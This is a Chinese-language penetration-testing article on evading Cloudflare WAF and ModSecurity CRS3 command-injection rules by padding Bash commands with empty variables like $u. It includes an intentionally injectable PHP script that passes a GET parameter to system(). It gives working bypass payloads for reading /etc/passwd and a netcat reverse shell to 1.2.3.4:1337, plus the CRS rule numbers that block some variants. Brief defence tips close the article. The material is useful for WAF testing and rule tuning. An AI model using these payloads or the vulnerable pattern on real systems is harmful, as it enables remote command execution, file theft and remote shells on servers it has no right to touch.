绕过CloudFlare WAF和ModSecurity OWASP CRS3核心规则集的技巧介绍
字数 1495 2025-08-18 11:37:38
绕过CloudFlare WAF和ModSecurity OWASP CRS3核心规则集的技术详解
1. 技术背景
Web应用防火墙(WAF)通常部署在Web客户端与服务器之间,用于过滤恶意流量。渗透测试人员需要了解目标系统的WAF规则并寻找绕过方法。本文重点介绍使用未初始化的Bash变量绕过基于正则表达式过滤的技术。
2. 未初始化Bash变量特性
2.1 基本概念
- 未初始化变量的值为null(无值)
- 声明但未初始化与设为空值效果相同:
uninitialized_variable= - Bash默认将未初始化变量视为空字符串
2.2 示例验证
echo "uninitialized_variable=$uninitialized_variable" # 输出空值
cat$u /etc$u/passwd$u # $u被视为空字符串,不影响命令执行
3. 绕过CloudFlare WAF
3.1 测试环境
- CloudFlare WAF Pro版
- 安全级别设置为最高(基于OWASP CRS2)
- 测试PHP脚本:
<?php
if(isset($_GET['host'])) {
system('dig '.$_GET['host']);
}
3.2 基本RCE尝试
- 正常查询:
/?host=www.google.com - 尝试命令注入:
/?host=www.google.com;ls+/(成功) - 尝试读取文件:
/?host=www.google.com;cat+/etc/passwd(被WAF阻止)
3.3 使用未初始化变量绕过
- 绕过payload:
/?host=www.google.com;cat$u+/etc$u/passwd$u - 成功读取/etc/passwd文件内容
3.4 绕过反向shell防护
- 原始payload被阻止:
nc -e /bin/bash 1.2.3.4 1337 - 绕过payload:
nc$u -e /bin$u/bash$u 1.2.3.4 1337 - 成功获取反向shell
4. 绕过ModSecurity OWASP CRS3.1
4.1 不同防护级别
- Paranoia Level 1-4(4级几乎无法绕过)
- Level 3时,原始payload被规则932100阻止(Unix命令注入)
4.2 绕过尝试
- 初始绕过格式:
;+$u+command - 示例:
?host=www.google.it;+$u+cat+/etc/passwd(被阻止) - 改进payload:
?host=www.google.it;+$u+cat+/etc$u/passwd$u(部分绕过)
4.3 带引号的PHP脚本
<?php
if(isset($_GET['host'])) {
system('dig "'.$_GET['host'].'"');
}
- 需要闭合或注释引号:
/?host=www.google.it";cat+/etc/passwd+# - 在CloudFlare上可绕过
- 在CRS3 Paranoia Level 3下被以下规则阻止:
- 942460:非单字字符重复检测
- 942260:特殊字符检测
4.4 Paranoia Level 2下的绕过
- 有效payload:
/?host=www.google.it";+$u+cat+/etc$u/passwd+\#
5. 技术原理分析
5.1 为什么难以防御
- WAF不能简单阻止$字符,会导致大量误报
- CRS3采用更智能的方法:检测单个值中4个或更多重复的非单字字符
5.2 防御建议
- 对用户输入进行严格过滤和转义
- 使用参数化查询
- 实施最小权限原则
- 定期更新WAF规则集
- 对关键操作使用二次验证
6. 相关技术参考
7. 总结
未初始化的Bash变量提供了一种有效的WAF绕过技术,特别是在CloudFlare WAF和较低防护级别的ModSecurity CRS3环境中。然而,随着防护级别提高(如CRS3 Paranoia Level 3),绕过难度显著增加。防御方应了解这些技术并实施多层防护策略。